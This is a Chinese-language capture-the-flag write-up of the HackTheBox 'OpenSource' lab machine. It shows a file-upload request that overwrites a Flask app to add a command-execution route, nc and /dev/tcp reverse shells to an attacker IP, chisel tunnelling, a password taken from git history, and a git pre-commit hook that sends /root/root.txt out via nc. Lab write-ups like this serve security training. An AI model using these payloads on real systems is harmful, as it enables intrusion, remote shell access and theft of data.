HackTheBox-OpenSource
源码审计
通过路径遍历获取Python源码的压缩包,解压发现存在问题的代码如下:
问题函数是一个文件上传函数,主要问题点在文件保存路径拼接处。file_name
经过字符串处理,../
等恶意字符串已过滤,问题出在Python的os.path.join()
函数。
官方介绍如下,其中当一个拼接的路径是一个绝对路径时,该函数将抛弃之前的所有参数,返回值就由是绝对路径的参数控制
那么将上传文件的文件名参数设置成绝对路径,以此任意覆盖站点Python源码。只要控制文件名参数在过滤../
后为绝对路径即可(或者直接为绝对路径),这里选择添加一个命令执行的路由覆盖原Python文件,数据包如下:
POST /upcloud HTTP/1.1
Host: 10.10.11.164
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------10852647030022141372406507594
Content-Length: 1089
Origin: http://10.10.11.164
Connection: close
Referer: http://10.10.11.164//upcloud
Upgrade-Insecure-Requests: 1
-----------------------------10852647030022141372406507594
Content-Disposition: form-data; name="file"; filename="..//app/app/views.py"
Content-Type: image/jpeg
import os
from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
@app.route('/exec')
def runcmd():
return render_template('success.html',file_url=os.system(request.args.get('cmd')))
-----------------------------10852647030022141372406507594--
执行命令正常则返回0
User Flag
可执行命令之后,尝试反弹shell,使用nc反弹。
这里直接用sh -i >& /dev/tcp/ip/port 0>&1
反弹一直失败,具体原因不知,使用如下命令可正常返回
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.10.14.91%2018080%20%3E%2Ftmp%2Ff
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.91 18080 >/tmp/f
成功反弹之后使用命令检查是否为docker容器,这里确认是docker
查看网络情况,常识可知在linux下安装docker后会新建一个docker0
的网卡一般子网掩码为172.17.0.1/16
,宿主机一般可通过172.17.0.1
访问
这里使用chisel做一下socks代理,使用反向连接,攻击机本地监听一个端口
在攻击机使用python搭建简易http server,方便将chisel传输到受害主机。赋予足够的权限之后,反向连接攻击主机
在成功代理后,对宿主机172.17.0.1
进行简单的端口探测,发现开放web 3000端口,尝试访问发现是搭建好的Gitea代码托管平台
到这里缺少继续的信息,继续在受害主机挖掘信息,还记得原先下载下来的源码仓库么,通过查看commit历史记录或许能挖掘到一些信息
通过查看分支发现存在dev分支,继续查看该分支的commit记录,翻找之后发现某条记录中存在登录认证信息:dev01:Soulless_Developer#2022
git show-branch
git log dev --oneline
git show a76f8f7
使用该账户密码成功登录宿主机的Gitea,在相应的仓库中发现ssh登录的私钥
下载到本地之后,赋予相应的权限,ssh成功登录宿主机,成功获得普通用户的flag
chmod 600 id_rsa
Root Flag
获取用户权限之后尝试提权,首先查找高权限文件未果,这里使用pspy查看定时任务信息
发现root权限的git相关任务,其中git commit可触发hook脚本。可以修改pre-commit
脚本,在其中添加我们需要执行的命令,在下次commit的时候触发执行
还是使用nc获取执行结果,攻击端执行
nc -lp 18083
将以下代码添加到 ~/.git/hooks/pre-commit.sample
文件中
cat /root/root.txt |nc -nv 10.10.14.91 18083
修改文件名使hook脚本生效
mv pre-commit.sample pre-commit
成功获取root flag